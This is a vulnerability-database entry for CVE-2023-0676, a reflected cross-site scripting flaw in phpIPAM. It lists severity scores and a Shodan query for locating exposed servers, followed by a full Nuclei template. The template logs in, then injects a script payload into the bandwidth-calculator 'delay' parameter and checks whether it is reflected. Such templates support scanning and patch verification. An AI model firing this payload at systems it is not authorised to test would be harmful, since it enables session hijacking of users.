SecurityContext

CVE-2023-0676: phpIPAM 1.5.1 - Cross-site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01576
  • Epss percentile: 0.76097
  • Cpe: cpe:2.3:a:phpipam:phpipam:*:*:*:*:*:*:*:*

Metadata

  • Product: phpipam
  • Shodan-query: html:"phpIPAM IP address management"
  • Vendor: phpipam

Products

ProductIndexedUrl
phpipam:phpipamyes/v1/products/phpipam/phpipam

Labels

  • Name: phpipam/phpipam - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in victim browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  • Remediation: Update to version 1.5.1 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to click on a malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-0676

```yaml

id: CVE-2023-0676

info:

name: phpIPAM 1.5.1 - Cross-site Scripting

author: ritikchaddha

severity: medium

description: |

Cross-site Scripting (XSS) - Reflected in GitHub repository phpipam/phpipam prior to 1.5.1.

impact: |

Allows attackers to execute malicious scripts in the context of a user's browser session.

remediation: |

Update phpipam/phpipam to the latest version to patch the vulnerability.

reference:

- https://huntr.dev/bounties/b72d4f0c-8a96-4b40-a031-7d469c6ab93b

- https://nvd.nist.gov/vuln/detail/CVE-2023-0676

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-0676

cwe-id: CWE-79

epss-score: 0.01576

epss-percentile: 0.76097

cpe: cpe:2.3:a:phpipam:phpipam:*:*:*:*:*:*:*:*

metadata:

vendor: phpipam

product: phpipam

shodan-query: html:"phpIPAM IP address management"

tags: cve,cve2023,phpipam,xss,authenticated,vuln

http:

- raw:

- |

POST /app/login/login_check.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

ipamusername={{username}}&ipampassword={{password}}

- |

POST /app/tools/ip-calculator/bw-calculator-result.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: {{BaseURL}}/phpipam/index.php?page=tools&section=ip-calculator&subnetId=bw-calculator

wsize=50000&delay=<script>alert(document.domain)</script>&fsize=1024

matchers:

- type: dsl

dsl:

- contains(body_1, "Login successful")

- contains(body_2, "<script>alert(document.domain)</script>")

- contains(content_type_2, "text/html")

- status_code_2 == 200

condition: and

digest: 490a00463044022039b0fc2101732def5454778be0a610a4558b25a7614829e472c8f739314d5cd402201db982f237c88a56854735424c80ae76ca84f0d4c2104887ea0259c31536ad26:922c64590222798bb761d5b6d8e72950

```